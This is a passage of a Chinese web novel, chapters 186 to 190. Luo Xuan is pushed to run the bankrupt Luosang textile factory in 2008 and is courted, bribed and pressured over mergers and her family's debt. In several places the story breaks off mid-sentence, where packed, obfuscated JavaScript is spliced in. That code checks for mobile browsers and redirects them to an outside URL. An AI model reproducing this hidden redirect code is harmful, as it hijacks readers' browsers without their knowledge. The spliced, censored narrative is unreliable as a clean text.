“如果是真的悲伤,为什么他们还能吃得下饭?” “学姐,世事怎会如此呢?” 万小满笑着看她。 “因为死的人死去了,而活下来的人,要好好地活。”有人在身后说。 女生转过头:“呀!罗璇学姐!” 罗璇穿着一件黑色的运动服外套,看着万小满。 “怀念吗?这是持续余生的慢性病。悲伤吗?不过一场短暂的重感冒。你沉溺于悲伤,无异于拒绝治疗,这又何苦?人生本就实苦,无论慢性病还是重感冒,你都没得选。” 她的话空荡荡地回旋在灵棚里。 娇姐不在,吃饭去了。 “如果人生实苦,如果人生就是没得选,人为什么还要活着?” “因为人活着没有为什么。因为人活着本就没意义。生命不过是世界偶然送给你的礼物。”罗璇对着女中学生,认真地说:“死的人死去了,活的人要好好地活。无论何时何地,无论发生什么,都要吃饱了,喝足了,卯着劲,活下去。就算活得不好看,也比**强。” “可是为什么……” 罗璇把手放在女孩的肩膀上,安抚地摸了摸:“没什么为什么。你这也想,那也想,不如去找娇姐吃席,多夹两口菜。味道真挺好。” 说完,她肃穆了神情,走到万小满面前。 万小满笑眯眯地看着她,双眼明亮,神采飞扬。 “小满啊。”罗璇轻声说,“小满啊。” “小满啊。”她重复。 她说不出话了。 她看着小满。 罗璇伸手抹了把脸,抓了一整把香,全**香炉里,哽咽着说:“多吃点。” …… 娇姐开过多年饭店,手艺没话说,她亲手操办的席面,每个人都吃得很痛快。 吃得差不多了,娇姐提来满满几桶酒,向大家道了谢之后,说:“这是老万给小满出嫁存的酒。小满是大家看着长大的,这辈子承蒙各位照顾。今天,咱们一起把它喝掉吧。” 酒饱人散,众人送娇姐回灵棚守夜。 夜风微凉,娇姐仰起头,微微笑了。 她忽然张开手,在夜空下转了个圈,醉醺醺地放声歌唱。 “干杯,朋友,就让那一切成流水。” “把那往事,把那往事当做一场宿醉。” 王婶扶着娇姐,看着前方“沉痛悼念爱子”的白幅,眼泪流下来。 她用手去抹。 “世事怎会如此啊。”王婶喃喃道。 越来越多的人跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15317285|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着唱起来。他们生计无着,在马路上走着,眼前是灰暗的罗桑厂,罗桑厂前,是黑色的灵棚。 命运无常,有人活着,有人死去。 可是今夜,夜风微凉。吹在脸上,十分舒服。 …… 赵**和老戴心事重重地注视着沉睡的罗桑厂,注视着罗桑厂前方的黑色灵棚。烟灰缸里已是密密麻麻一层烟头。 “你听,什么声音。”老戴忽然说。 赵**侧耳听。 …… 酒劲上头,人们醉得七歪八斜,互相搀扶着,大声歌唱着。 “或许伤口还流着血。” “或许眼角还有泪。” “让我陪你喝一杯。” …… 老戴也跟着哼唱了几句。 “《为往事干杯》。谁唱的来着?” “姜育恒。” 赵**吸了口烟,在乱七八糟的旋律中,垂头微笑。 …… 在这个夜晚,美国换了总统;全球央行联手降息;眼看着要开G20峰会,各国领导人讨论应对金融危机;俄罗斯和格鲁吉亚还在流血、打仗……无数大事发生着,无数未来笼罩在迷雾中。 身处波澜诡谲的大变局内,身处不可名状的命运中,罗桑县的夜风舒适。 生亦何忧,死亦何惧。时代的大手翻为云、覆为雨,人如蝼蚁般颠簸流离。可人依旧吃食物、喝酒水,人依旧为了最平常的食物和酒水,痛痛快快地歌唱。 “干杯,朋友,就让那一切成流水。” “把那往事,把那往事当成一场宿醉。” “明日的酒杯,莫要装着昨天的伤悲。” “请与我举起杯。” “跟往事干杯。” 第186章 汇报工作&背锅甩锅 罗璇喝得醉醺醺地回到家,推开门,扑在床上就睡着了。 半梦半醒间,有人打电话过来,她接了,对面说:“小罗厂长,嘿嘿,您好哇,我是王帅。” 谁啊。 声音这么耳熟。 罗璇含混地“哦”了声。关系王说:“小罗厂长,我向您汇报一下,罗桑厂的账务可乱呀。现在有两笔大钱还没收回来,一笔是在福建投的银矿,花了2.3个亿,还有一笔是清远的地皮,花了2000万。这两笔资金如果能回笼,基本能填上厂里的大窟窿……” 罗璇揉了揉脸,听出了关系王的声音,有气无力地翻了个身:“跟我说这些,听不懂。” 关系王“哎呀”了一声:“眼看就要当罗桑厂厂长的人,你连我都瞒!你太不够意思了!”他嘿嘿笑了几声,“我早就知道你能成大事,价值投资,你晓得什么是价值投资伐?投资你的未来!” “啊?” “你要当罗桑厂厂长啦!” 罗璇只觉得荒诞:“你也是老油条了,怎么会被这种假消息骗。那么大的厂,多少人盯着,怎么可能轮得到我!” 关系**惊:“工会表态支持,罗桑厂老干部没意见,商会没意见,纺织协会没意见,县班子也没意见,外面都开始吹风了,你还不知道?”他啧啧称奇,“果然,升迁调动这种事,当事人往往是最后一个知道的。” 罗璇难以置信:“可我没答应啊!而且,那么多精英高管职业经理人,怎么可能是我?” 关系王“嗨”了声:“确实好多精英高管职业经理人都过来找机会,但他们背后的靠山都太硬啦,这位神仙也打招呼,那个神仙也打招呼,用哪个都不行,不用哪个也不行!所以赵**点了你的名,说你是自己人,了解罗桑县,雪灾和罗桑厂**的时候表现都不错,有魄力,有胆子,有大城市的眼界和经验,外语流利,更重要的是,工人喜欢你,现在这个乱哄哄的局面,你去安抚罗桑厂停产的情绪,就是最合适的!大家也一致赞同。” 罗璇的酒全醒了:“怎么听,我都是夹在各方神仙中的小年糕啊!合着神仙打架,县里哪方都不想得罪,所以把我架上去了?!架在火上烤年糕?这不是让我收拾烂摊子吗?!我才不去!” “呸,好的时候,那是一块铁板,哪能轮得到你?只有烂摊子的时候,才是你的机会!你出头的机会来了!” “罗桑厂没钱啊!钱呢,钱从哪里来?江明映被打成那样,谁还敢来投资?” 关系王语塞。 罗璇叹气:“当事人最后一个知道的事,你觉得会是什么好事?” 就在这时,张东尧的电话进来了。 罗璇手忙脚乱地切线。 张东尧的声音带着一丝淡淡的疲倦:“罗璇,你应该已经知道了吧?” “我不知道。”罗璇立刻推脱。 “罗桑厂的港资母集团破产了,罗桑厂现在是独立状态,县里暂时跟踪管理。所以,现在罗桑厂停产,县里要协助罗桑厂复产,希望你去罗桑厂做厂长。”张东尧平静地叙述。 罗璇说:“我……” 张东尧打断她:“我只是让你有个思想准备,具体的,你和赵**细谈吧。明天上午9点钟。” 罗璇“啊”了声,张东尧已经挂了电话。 还没等罗璇把手机放下,又是陌生的电话进来了。 她刚一接听,对面就自报家门:“小罗厂长,我是清远分厂厂长小周,听说你要来我们罗桑厂做厂长了,我们可太高兴啦!赶紧向您汇报!”说着,噼里啪啦地开始介绍清远的地皮,最后说,“现在行情不好,土地跌价,对面开价2400万要买咱们的地皮,您看,我这边要不要跟进下去,先把资金回笼?” 2400万?卖低了吧。 罗璇算了算,2000万购入,2400万卖出,回笼400万资金,罗桑厂一个月工资就要发掉2000多万,杯水车薪。 更何况,她跟祝峻相处的时间里,见过好几个地产公司老总,耳濡目染,对地价有一定了解,当即就说:“开价太低了,你告诉他们,土地是**,**是土地,对于地皮,不能用单纯经济的眼光去看待。行了,这事你别找我。” 我又不是厂长。 周厂长顿了顿,心想这新上任的罗厂长,胃口可真够大的。他迟疑了下:“这家以往分2个点的茶水费,确实太少了。”他咬牙,“您如果答应2400万卖给他们,我就去压着对方,让他给您分5个点,您看怎样。” 罗璇吸了口气:“利润的5个点?” 我天呢,20万! 周厂长说:“卖出价的5个点。” 我天呢,120万!! 罗璇干瞪眼睛,所以这就是为什么只能卖到2400万的原因?!不对,应该说,所以这就是罗桑厂的香港母公司为什么破产的原因吧?! **这个烂泥坑! 对面挂了电话。罗璇的旧手机已经开始发烫。 还没等手机冷却,又一个电话进来…… …… 第二天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15317286|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清晨8点半,张东尧见到罗璇的第一句话,就是:“外面都在传,是你拦着不让罗桑厂回笼清远地皮的资金。” 罗璇变了脸色,张东尧说:“罗桑县没有秘密。” “和我有什么关系?让我背锅?”罗璇忿忿道,“你问问他们开的价,他们……” 张东尧打断她。 “你在风口浪尖上,我建议你,不该说话就别说,不该表态就别表。”张东尧带着她在幽暗的走廊里穿行,“八个字,成熟敏感,谨言慎行。” “我没表过态。别人如果一心想挑我的毛病,那我说什么都不对。不是我的问题,是别人心理阴暗。” “你可以说你很重视。答应是重视,不答应也是重视,他也挑不出毛病。” “我才不……” “成熟敏感,谨言慎行。” 罗璇闭嘴。 张东尧敲了敲门:“赵**,人我带到了。” …… 张东尧站在安全通道里吸烟。他最近吸烟吸得又凶又快。 烟友用眼睛扫了下赵**紧闭的办公室门:“抬出来挡枪的?” 张东尧咬着烟,“嗯”了声。 “年轻人就是血热。”烟友呵呵笑了,“这种烂摊子都敢沾。” 张东尧又摸出一支,点燃。 “罗桑厂乱成那样,投资人被打,短期内,谁还敢来投资?外面,上上下下各方牵涉众多;里面,利益关系错综复杂,聪明人谁会沾?接了手,启动也复杂。每个月光工资就要发2000多万,这孩子头上一干二净,找谁要钱去。” 张东尧向来成熟敏感、谨言慎行。但这次,他一反常态,激烈地说:“那还有谁能管?” 烟友一愣:“你激动什么。” 张东尧又反问:“罗桑厂真完蛋了,罗桑县也就完蛋了,你,我,都完蛋了。你又凭什么嘲笑她?她至少真心为罗桑县好,要是把罗桑厂交到那些只想镀金的神仙手里,罗桑县更完蛋!她行,也得行。不行,也得行。” “我就开个玩笑,你至于……” “是玩笑,还是唱衰,你自己心里有数。没干过实事的人,脚底板没沾过泥,天天笑话这个、笑话那个,抨击这个,抨击那个,那些做事中的妥协、身不由己,你们懂什么!只会挑毛病,又提供不了解决方案,究竟是谁可笑?” 他把烟丢在地下,重重碾熄:“我觉得她行。我希望她行!” 他转身就走。 烟友呆住,半晌,对着张东尧的背影大声说:“没人说不行,你挂什么脸?” 第187章 注资 罗璇推门而出,整张脸都是涨红的。 张东尧上前去:“怎么样?” 多好的机会。张东尧注视着罗璇涨红的脸。人呱呱坠地,来到这世间,平等地接受教育,而教育的目的是学习社会规则。旋即开始分化:聪明人利用规则,有钱人规避规则,有权人制定规则,野心家钻规则的漏洞。聪慧,钱财,权力,野心,爱恨贪嗔痴。人在世内,跳不出五行外。 人当然要牢牢抓住机会。 罗璇当然会答应。 张东尧心里已经有了答案。 罗璇却说:“我才不当呢!” 啊。 “谁爱当谁当!” 啊? 罗璇转身就走。 …… 张东尧张大嘴。 他追上去,跟在罗璇身后,恨铁不成钢:“你是不是傻?这么好的机会!” “你聪明。”罗璇加快了脚步,“你们聪明人最喜欢自讨苦吃。” 张东尧小跑起来:“罗桑厂厂长已经是高管,这是你的机会,你要考虑什么?” 罗璇快跑起来:“还记得雪灾吗?县里让我安置一部分工人。” 两人在走廊里飞奔,张东尧在罗璇背后点头,而罗璇根本看不见。 罗璇侧半张脸:“那次要我自己解决物资啊!” 张东尧有些喘:“你不是解决了吗?!” 两人跑到楼梯口,罗璇咚咚跑下楼梯:“这次也是一样的,我来安置罗桑厂的工人们,但我要解决钱的问题。你知道罗桑厂每个月发多少工资?2000多万!我去哪里找这个钱?” 张东尧追着跑下楼梯:“从罗桑厂的账来看,投资银矿的2.3个亿预计明年年中回笼,而现在已是11月。也就是说,你只要能撑过半年,就不用再为发工资而发愁。” “你知道半年工资总额多少?1.2个亿!只多不少!我玩大富翁都攒不下这么多钱!”罗璇激动地说,“钱呢,钱从哪里来?江明映差点没**,难道我要跑到江明映的病房里,腆着脸问他,哦,你还愿不愿意投资罗桑厂啊?” 张东尧按住太阳穴。两人跑得太快,而楼梯呈螺旋状,他在楼梯间不停地绕来绕去,头都要晕了。 这螺旋楼梯,谁爱绕谁绕,张东尧反正是绕不动—— 不,他可以。 他咬牙,决定拿出抽屉里关于新红星厂欠债2000万的资料。 张东尧开口威胁:“你知不知道,你父亲欠了……” 就在这时,罗璇的手机铃响起,打断了张东尧的话。 是江明映。 “见一面吧,罗厂长。”江明映开门见山,“关于罗桑厂注资的事,我们约个时间。” 啊,江明映注资? 两人面面相觑。 这算什么,这是在螺旋楼梯里转了九九八十一圈,结果又回到了原点? …… 罗璇敲开江明映的病房:“我没想到,你还愿意给罗桑厂注资。” “小罗厂长。”江明映颔首。 “你别喊我,我不是厂长。” 高级病房里,江明映的面孔已经消了肿,万幸鼻子没折,只是脸上的淤青还没消退干净。似乎因为人生的坎坷,他没有挂着惯常的笑,而是面色冷漠。 “这事,是罗桑厂的工人不对。”罗璇看着江明映的样子,还是替工人们道歉,“让你寒心了。” 江明映微微摇头。 “谁对谁错都不重要。寒心不寒心的都是感情,感情也不重要。拿到结果才重要。”江明映冷冷地说。 “是。”罗璇松了口气。他说什么都不重要,愿意给钱就行。 “我知道罗桑厂没钱。我可以给罗桑厂注资。”江明映说,“但是我有个条件。” “什么条件。”罗璇问。 江明映直直地看到罗璇眼睛里去:“我希望,罗桑厂能兼并你的新红星厂。” …… “我直说了吧。我注资罗桑厂,是要收益的,未来肯定要搞集团化运营。我很看好新红星厂的地皮,如果我注资,希望能把红星厂纳入罗桑厂的集团版图里面。那么,作为交换,你不只是拿工资的高管,我可以分股权给你。你会成为罗桑厂的股东。” 现在江明映也要来掺一脚,罗桑厂究竟是什么支离破碎的烂摊子啊?! 罗璇心里绝望。 如果罗桑厂搞集团化运营、资本无限扩张,不就意味着自己这个厂长话语权无限缩小吗! 还有红星厂。 股东?一个小股东,股权不断被稀释,最后被赶出局,对于江明映这样的资本来讲,很难吗? 成熟敏感,谨言慎行。八个字蹦进罗璇的脑海。 罗桑厂未来的发展战略,她不可能和江明映谈。无论说什么,都会和昨晚关于地皮的那通电话一样,落人话柄。 但新红星厂,她可以谈。不但要谈,还必须摆明态度。 罗璇直接说:“你要抢我的厂?那是我家辛辛苦苦一手建成的厂!是我们家自己的厂!” “我没有要抢你的厂。”江明映终于熟稔地露出一个标准、惯常的笑容,他应该很清楚自己怎样笑起来好看,所以面容英俊。 他笑眯眯地说:“罗桑厂停产了,因为没钱。你们准备去哪里要钱?哪里还会给你们钱?我不投,罗桑厂就根本不可能复产。而你——只要你答应我这个条件,我就往罗桑厂投钱。” “换个条件。” “你不答应,罗桑厂一毛钱拿不到。我被打成这样,也不会再有人来投钱。” 罗璇露出冷笑,而江明映微笑着看她。 私人病房里,光线柔和,阳光透过窗子照进来,在浅色地板上形成一格格明亮的栅栏。江明映面容英俊,神态斯文,举止绅士极了,声音也好听,只是话语里蕴含的信息,活像个强盗。 罗璇说:“你威胁我?你想用罗桑厂道德**我?我告诉你,我可不是我爹妈那代人,我没在罗桑厂工作过,对罗桑厂压根没什么感情,罗桑厂复不复产,干我屁事。我最多帮罗桑厂渡过难关,不可能把家产往罗桑厂里头填!你当我是什么型号的泥菩萨?” 江明映笑容不变。 他很耐心地解释:“罗桑厂是个更大的平台。你可以借着罗桑厂这个平台,做出一番事业。只要你能从我这拿到钱,以后在罗桑厂,甚至在罗桑县,你是怎样的地位!你想做的事,我都会支持你。而且,不是白拿你家的厂,是给你股权的,到时候,你就是罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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罗璇没有否认。 她抱着手,笑道:“你太高看我了。我练体育久了,是个粗人,所以有什么说什么,心直口快。你们商业的道理我不懂,但有个道理我懂:咱俩打网球,如果不能一来一回,那么这球就打不起来。您愿意和我‘打网球’吗?” “我当然愿意。”江明映查阅手机日历,“等我从美国出差回来,12月18日,你有空吗?我陪你打一局。” “可以。是我陪你打一局。”罗璇纠正。 两人对视几秒钟。 江明映笑:“是我陪你才对。毕竟你接球技术高,以退为进,推推挡挡,不留痕迹。” 罗璇也笑:“是我陪你才对。你发球多厉害,见招拆招,步步前逼,行云流水。” 两人的笑意不抵眼底,又对视几秒钟。 罗璇站起身:“12月18日。期待球局。” 江明映说:“12月18日。同期待。” 她伸出手,江明映握住。两人一握,又迅速分开。 罗璇走出江明映的病房,身后传来江明映的声音。 “再见,罗厂长。” 这一次,罗璇没有否认。 …… 罗璇沿着幽暗的长廊往前走。 忽然,她意识到,江明映对她的称呼发生了改变。 从“小罗厂长”,变成了“罗厂长”。 第188章 欲拒还迎&谈判拉扯 从医院出来,一辆眼熟的灰色商务车静静地停在门外。 车子鸣笛两声,罗璇看过去。 车窗摇下来,驾驶位的张东尧说:“这是罗桑厂派给厂长专用的公车,以前是郑厂长在用。我自告奋勇,替了司机,过来接你。” 谁说以退为进没用,对吧。 这不,该有的待遇,终于知道给了。 不然什么都不给,就把她架上去背锅? 呵。 罗璇微微笑起来,明知故问地指了指气派宽敞的灰车:“这车,给我用?” “还配司机。”张东尧说。 罗璇绕着车看了一圈,摇头:“张东尧,我没这个福气,我没打算做罗桑厂的厂长。” 张东尧却问:“那你怎么回去?” “我现在的生活挺好的,不需要更好。”罗璇摊手,“罗桑厂的水太深了。我刚刚跟江明映聊过,你猜他怎么说——又是集团化运营,又是哄我用地皮换股权,心眼子密不透风,一句话挖十个坑。我跟他说一次话,回家要睡三天觉才能缓过来。” 很辛苦的。 “罗桑厂也给不了我什么。”罗璇很冷静地说,“承诺的年薪还算可以,但厂子根本发不出工资。也只有派公车、配司机这种福利。相比之下,我的责任要重很多。这不划算。” 也没什么好处。 张东尧下车,替她拉开车门:“我送你回去,我们路上说。” 罗璇站着没动,张东尧瞥了她一眼:“你真想拒绝,至于说这么多话?你说这些话的意思,不就是想透过我,传话给上头的人,谈条件吗?” 和张东尧这种聪明人讲话就是省心。 再推辞就矫情了。 罗璇展颜一笑,大大方方地上了车。 …… 罗璇坐在后排。 张东尧把门关上,又从车后绕回驾驶座,打开门,坐上车。 车子启动。 张东尧说:“那你是怎么想的?” 罗璇说:“我得知道,政府跟踪管理,跟踪到什么程度?管理又到什么程度?我这个厂长,究竟有几分自**?” 张东尧“嗯”了声。 罗璇又说:“江明映的钱可不好拿。之河服装集团之前是不是想要兼并罗桑厂?现在还有没有意愿兼并?兼并,重组,我觉得都可以,对罗桑厂的烂账来说,不失为一个好出路。我听说省里打算让之河服装集团上市,他们上市就有钱了。” “现在不可能。”张之遥很干脆地说,“之河服装明确表示,不愿接收一笔烂账。” 罗璇说:“买卖不成仁义在,问问之河服装,能不能给我们2000万的借款?就用赵**的老脸和罗桑厂自己的贸易公司担保,实开票据。王永昌他们包了10月工资,在11月发放;11月停工,工资肯定没有;12月总要开工吧?12月工资要在1月发放,我掐指一算,总不能我一上任就发不出钱吧?那我怎么服众?服不了众,又回到上一个话题,那我岂不是事事要听别人的,完全没有自**?” “还有呢?” “没有了。核心只有一件事:我这厂长,有几分权?” “好,我记下了。”张东尧说。 罗璇放松下来。 张东尧深吸一口气:“罗璇,有人说你傻,有人说你装傻。其实我已经分不清,你是真傻,还是装傻。” “你想得太多,没用。你们聪明人,就是喜欢自讨苦吃。” 张东尧笑了。 罗璇叹了口气:“你要说我做小生意呢,确实有点起色了。但罗桑厂厂长,那是小生意人吗?那是商人中的官僚、官僚中的商人,我这点道行,根本不够看的。” “怕什么。”张东尧看着前方,“你赶紧组自己的班子,组起来了,凡事有个商量。再大的厂子,再大的项目,只要拆好了,也都能理清楚。” 罗璇冷笑:“你可太天真,我这样的傀儡厂长,各方各面的神仙,肯定要往我这里塞人,我谁都不能得罪。最后的厂班子,肯定是天庭开会,诸神归位,和我有什么关系。” 顿了顿,罗璇说:“想想就头大。算了,张东尧,你说,我这厂长,是不是不做也罢?” 无论罗璇是否真有退缩之意,张东尧都要保障 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330410|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万无一失。他是聪明人,想得多。 如果罗桑厂真倒了,他的论文也就完蛋了。 延毕? 他姐姐等不起。 张东尧下定决心,突然开口:“不做罗桑厂厂长的话,那你的2000万债务,又该怎么办呢?” …… 2000万债务! 这件事,罗璇一个字都没向外透露,张东尧又是怎么知道的?! 罗璇惊愕地抬起头,而张东尧一字一句:“难道你就不想借这个机会,把新红星厂的债务解决掉?” “你从哪里知道的?”罗璇反问. “高校有高校的渠道。”张东尧,“但我是来帮你的。” 罗璇深呼吸。 片刻后,她克制地没刨根问底,只是淡淡说:“2000万的债务,现在看来,也不是什么大事。” “如果你想的路子,是想挂着罗桑厂的羊头卖红星厂的狗肉,我一定会举报你违法。”张东尧说。 罗璇猛地看向张东尧。张东尧平静地盯着她。 “你威胁我?”罗璇皱眉。 “应付这种事,我比你有办法。”张东尧说,“我要你做罗桑厂厂长。” “然后听你的?”罗璇冷笑。 “听不听的决定权在你,不在我。”张东尧面无表情,“我只是给你提建议。我在帮你。” “如果我不听呢?” “我会把你的债务告诉所有人。” “意思是,我非听不可?” “我不会让你难做。” 罗璇伸手抓着副驾的靠背,前倾身体,透过后视镜,看向张东尧的眼睛:“张东尧,我们是老朋友了。” 张东尧面色不变:“我支持你做罗桑厂厂长。这对你有什么损失吗?”他停下车子,回头看向罗璇,“罗璇,我来自高校。我的导师是院士。我有我的资源、我的渠道。我能知道你的债务,已经证明了我的实力。” 罗璇不语。 是从什么时候开始的? 雪灾?红星厂变天?罗桑厂停产?还是从她有可能当厂长开始? 总之,随着她的成长,所有人,都变了。 第189章 他需要一场婚姻&他不需要一场婚姻 所有人都逐渐露出另一面。 从白的变成灰的,从洁净的变成晦暗的。包括她自己。 罗璇抬起眼。 “那你说,我的债务,要怎么化掉?” 张东尧重新启动车子。 “为了应对金融危机,国家对企业的贷款有所放松。” “那也轮不上红星厂。”罗璇说。 “小罗厂长。”张东尧斟酌着说,“你看过你爸爸和王经理签的扩产扩容协议吗?” “我没看过。” 张东尧伸手拍开副驾的储物格,单手拿出一个公文袋,递给罗璇。 “之前王经理常说的,罗桑厂五年内扩产,执行人就是罗文彬。” 罗璇正低头读手里的合作协议。签字人是他的亲生父亲。 而这份材料,她的父亲,没有告诉任何人。 协议的内容是,红星厂将成为罗桑厂的重要战略合作伙伴,红星厂将投资扩产,包括购入地皮、拓宽厂房面积、扩招工人、增设机器等等。 “果然是王经理。”罗璇浑身颤抖起来,“果然是他,是他害得我爸借**,害得我爸——” “重点是。”张东尧打断她,“这份协议,是罗桑厂和红星厂签的。也就是说,红星厂的投资扩产,本就在罗桑厂的战略规划版图中。” “那又怎样。只是合作协议而已,这份协议很苛刻,罗桑厂不欠我们钱——” “兼并吧。”张东尧再次打断她,“让罗桑厂把新红星厂兼并掉。” …… 相隔不过几小时,罗璇第二次听到“兼并”两个字。 张东尧说:“如果新红星厂成为罗桑厂的子公司,你就可以利用罗桑厂的盘子去贷款,再注资给新红星厂了。” 他抬眼看着她:“以罗桑厂的盘子,平了新红星厂的2000万成本,并不困难。” “但我会失去新红星厂。”罗璇说。 “只要你做罗桑厂厂长一天,你就不会失去新红星厂。”张东尧说。 “你,我,所有人,都知道,我不过是个过渡。”罗璇很冷静地说。 张东尧也很冷静地说:“你也可以让自己不被过渡掉。” 他清俊的面容隐隐露出一丝疯狂:“我会帮你。” …… 江明映曾经承诺过:“Charles,我会帮你。” 他和Charles从同窗到同事。都是聪明人,自然晓得规则里那些空子能钻。牟利者,不择手段,他们都做过很多无法无天的事,都以为这样的日子可以烈火烹油地继续下去,直到Charles在亚洲的投资项目彻底失败,亏了一大笔钱,因为触犯商业法进了监狱。 江明映本打算帮的。但得知是宗先生要惩罚Charles,他明智地收回援手。 万事万物都有属于自己的价码,不是吗。 这次回美国办事,江明映本想抽空去监狱探望Charles。 但他最后还是打消了这个行程。 Charles算是废了。江明映面无表情地想,他又何必浪费时间在他身上。 为了那点情分? 没必要。 返程的时候,天是灰暗的,大颗大颗的雨滴打在飞机舷窗,劈啪作响。窗子并非完全洁净,雨水一股股流下来,也并非全然干净。江明映总是想着Charles,逐渐口干舌燥,抬手,叫空姐送了冰镇矿泉水过来,喝了几大口下去,才感觉没那么烧得慌。 飞机起飞,不断颠簸。 即使在头等舱,拉了帘子躺着,江明映也睡得很不安稳。 他想着罗桑厂,想着红星厂,想到罗桑县错综复杂的宗族、人情、政商关系,又想到宗先生的警告: “Adrian,这是最后一次。” 空姐拍他:“先生,这是最后一……” 江明映猛地坐起身,激烈地喘息着,满额都是冷汗。 …… 江明映一丝不苟地抹干冷汗,整理仪容,处理牙齿,又补了香水。 在飞机狭小的厕所里,他木然地看着镜子。西装整齐地穿在身上,惨白的顶光照下来,在黑色外套的映衬下,他面容苍白,仿佛即将躺在自己的葬礼上。 他,Charles,不过都是资本豢养的鬃狼。 宗先生的威胁还在耳边。Charles亏了宗先生的钱,宗先生把Charles送进了监狱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330411|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所谓的聪明、努力、才干,放在血肉堆成的资本世界里,根本不值得一提,因为资本发家的每一个毛孔里都渗透着鲜血。唯有金钱。唯有数字。能够定义他们的世界。 他会成功。他必须成功。 如果搞不定当地的关系,那就融入当地的关系。江明映面无表情地想。 他看着自己。 因为遭遇突变,他的面色有些苍白,但他依旧是挺拔、英俊的。 融入的最好办法—— 或许,他需要一场婚姻。 …… “之前要和你结婚的那个男人呢?”林招娣在手机对面问。 罗璇抱着一大堆“冰雪聪明”的快递,耐心地说:“妈,早就分手了。” “分手又怎么样,买卖不成仁义在。他不是做互联网的吗,你让他帮我做淘宝店。”林招娣理所当然地说,“我好歹差点成他的岳母,他总不至于计较这么点小忙吧?” 罗璇反问:“你怎么不找。反正我爸没了,你再找个能帮你的。” “我当然在找。”林招娣理直气壮,“但能拉出来用的,干嘛不用?” 罗璇无话可说。 她想了想:“现在,对我来说,祝峻不是最好用的。” “那你就找好用的用。”林招娣掷地有声,“女人找男人,就得图他有用。” …… “是之前差点和你结婚的罗璇?”祝胜男在手机对面说。 祝峻开着车,“嗯”了声:“她会接罗桑厂的烂摊子,做厂长,但现在还在谈条件阶段。” “那她可太有用了。幸好你们是老熟人。”祝胜男说,“罗桑厂是之河服装产业集群的重要战略部署,只要你能和罗桑厂达成合作,无论商还是政,都是很大的助力。” “是,她对我可太有用了。”祝峻看着眼前笔直前行的道路,“等我出差完。元旦假期吧。我去罗桑县找她。” “元旦?那不是你和小赵的订婚宴吗。” “延后就好了。”祝峻说得理所应当,“拜访潜在客户,对我而言,比订婚更有用。” “小赵能答应?” 祝峻轻飘飘地说:“她必须答应。” 第190章 改革开放三十周年&借我钱,我要10%的股 约好和江明映打球这天,罗璇翻出一条没穿过的红色网球裙样衣,直接套在身上,在外面披了件深蓝色麻花毛衣,往罗桑厂的网球场走去。 刚走到正门招工小广场,风一吹,她感觉腰后发凉。 伸手一摸,她才意识到,新衣服居然被扯出来一个洞。 …… 罗璇揪下几根线头,有些发愣。 罗桑县的运动服向来以质量好出名,怎么这就破洞了? 但现在回去换衣服,肯定来不及。 她叹了口气,继续往前走。 罗桑厂正门依旧贴着封条,还没拆。 大门的铁栅栏上,不知道被谁贴了张喜庆的红纸,用毛笔写着: “热烈庆祝中国改革开放30周年” 哦! 今年是2008年12月18日,距离1978年12月18日十一届三中全会召开,刚好过去30年。 风吹过,红纸的边缘翘起来一点,发出脆响,如同掌声。 罗璇走上前去,用手把翘起的边角抹平。 “今天是2008年12月18日,中国举行了纪念改革开放30周年大会,回顾了自1978年以来中国在经济、社会和**领域取得的巨大成就……” 罗桑厂门口的报刊亭已经不属于关系王。新来的女老板把一台小电视挂在亭子外面,此刻正细细碎碎地放着新闻。 “30年前的十一届三中全会,是中国经济一次意义深远的历史转折点……” 电视上满眼红色,人民大会堂肃穆庄严、气势磅礴。 红色水桶被女工放在脚边。她带着袖套,正靠在亭子外和女老板聊天。 